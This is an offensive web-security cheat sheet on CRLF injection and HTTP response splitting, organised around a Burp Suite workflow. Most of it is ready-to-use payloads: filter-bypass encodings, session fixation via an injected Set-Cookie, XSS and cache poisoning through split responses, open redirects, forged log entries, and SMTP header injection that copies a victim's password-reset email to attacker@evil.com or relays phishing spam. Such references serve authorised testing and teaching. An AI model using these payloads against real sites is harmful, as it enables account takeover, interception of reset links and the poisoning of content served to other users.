CRLF Injection / HTTP Response Splitting
CRLF injection detection and exploitation: header injection, HTTP response splitting for XSS and cache poisoning, open redirect via Location injection, session fixation via Set-Cookie injection, and log injection. Every payload separated.
What is CRLF Injection
HTTP headers are separated by \r\n (carriage return + line feed). If user input containing \r\n is reflected into an HTTP response header without sanitisation, the attacker can inject additional headers — or split the response entirely, injecting a second HTTP response.
Detection
Step 1 — Inject CRLF sequences into URL parameters
In Burp Repeater, inject into any parameter that appears in a response header (redirect URL, Content-Type, Location, Set-Cookie, etc.):
https://TARGET/redirect?url=https://evil.com%0d%0aInjected-Header:+value
Check the response headers. If you see Injected-Header: value in the response → confirmed.
Encoding variants to bypass filters:
%0d%0a ← URL encoded \r\n
%0D%0A ← uppercase
%0a ← just \n (some servers accept)
%0d ← just \r
%E5%98%8A%E5%98%8D ← UTF-8 multi-byte encoding of \r\n
\r\n ← literal (if URL not decoded)
%250d%250a ← double URL encoded
Step 2 — Confirm with a custom header
?url=https://evil.com%0d%0aX-Injected:+confirmed
If the response contains X-Injected: confirmed → injection works.
Step 3 — Find reflective parameters
Common vulnerable parameters:
url= redirect= next= return= location= target= lang= ref=
Also check: URL path segments (/redirect/PAYLOAD/), form inputs reflected in headers.
Exploit 1: Session Fixation via Set-Cookie
Inject a Set-Cookie header to plant a session ID on the victim:
https://TARGET/login?redirect=https://TARGET%0d%0aSet-Cookie:+PHPSESSID=attacker_fixed_value
When the victim visits this URL, their browser receives the injected Set-Cookie header and adopts the attacker’s session ID.
Exploit 2: XSS via HTTP Response Splitting
Inject a second complete HTTP response to deliver XSS:
?url=https://evil.com%0d%0a%0d%0a<html><script>alert(document.cookie)</script></html>
The double \r\n\r\n terminates the first response headers and starts the response body. Some caches store and serve the injected body as a valid response.
More complete response splitting:
?url=x%0d%0aContent-Length:+35%0d%0a%0d%0a<script>alert(document.cookie)</script>
Exploit 3: Open Redirect via Location Header
?redirect=https://evil.com%0d%0aLocation:+https://attacker.com
The injected Location header overrides the intended redirect destination.
Exploit 4: Cache Poisoning via Response Splitting
If a caching proxy stores the first response, injecting a fake response causes the cache to store malicious content at a URL the attacker chooses:
GET /page?lang=en%0d%0aContent-Length:+0%0d%0a%0d%0aHTTP/1.1+200+OK%0d%0aContent-Type:+text/html%0d%0aContent-Length:+44%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1
Exploit 5: Log Injection
If user input is written to log files and the logs are later parsed or displayed in a web UI, inject newlines to forge log entries:
username=admin%0d%0a127.0.0.1 - - [01/Jan/2024] "GET /admin HTTP/1.1" 200 -
This creates a false entry in the access log showing the admin path was accessed successfully.
Header Injection Payloads (quick reference)
Inject any of these by appending after a %0d%0a:
Set-Cookie: session=attacker_value; HttpOnly
Location: https://attacker.com
X-Frame-Options: ALLOWALL
Content-Security-Policy: default-src *
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Burp Suite workflow
- Proxy — intercept responses to requests with URL/lang/redirect parameters; check response headers for reflected input.
- Repeater — inject
%0d%0aX-Test:+confirmedinto every parameter reflected in headers. - Intruder — fuzz encoding variants (
%0d%0a,%0D%0A,%0a,%250d%250a) to bypass input filters. - Scanner — active scan detects CRLF injection in headers automatically.
- Match and Replace — add rule to append
%0d%0aX-Test:+confirmedto all parameters; flag changed responses.
SMTP Header Injection (via CRLF in email fields)
When the application passes user-supplied email addresses or subjects into outgoing SMTP headers, %0d%0a injections add extra mail headers — intercepting password reset links, adding hidden recipients, or enabling spam relay.
Cc / Bcc injection to intercept emails
email=victim@example.com%0d%0aCc:+attacker@evil.com
email=victim@example.com%0d%0aBcc:+attacker@evil.com
The application’s email builder becomes:
To: victim@example.com
Cc: attacker@evil.com
Subject: Password Reset
The attacker receives a copy of the reset link.
Dummy header (absorb trailing application data)
email=victim@example.com%0d%0aCc:+attacker@evil.com%0d%0aDummyHeader:+absorb
Body injection (double CRLF → skip to body)
email=victim@example.com%0d%0aContent-Type:+text/html%0d%0a%0d%0a<a+href="https://attacker.com">Click+to+verify</a>
Spam relay
email=victim@example.com%0d%0aTo:+spam1@target.com,spam2@target.com%0d%0aFrom:+noreply@legit.com%0d%0aSubject:+Win+a+Prize%0d%0a%0d%0ahttp://phishing.com
For the full SMTP injection guide with encoding variants and Burp workflow, see the dedicated SMTP Header Injection page.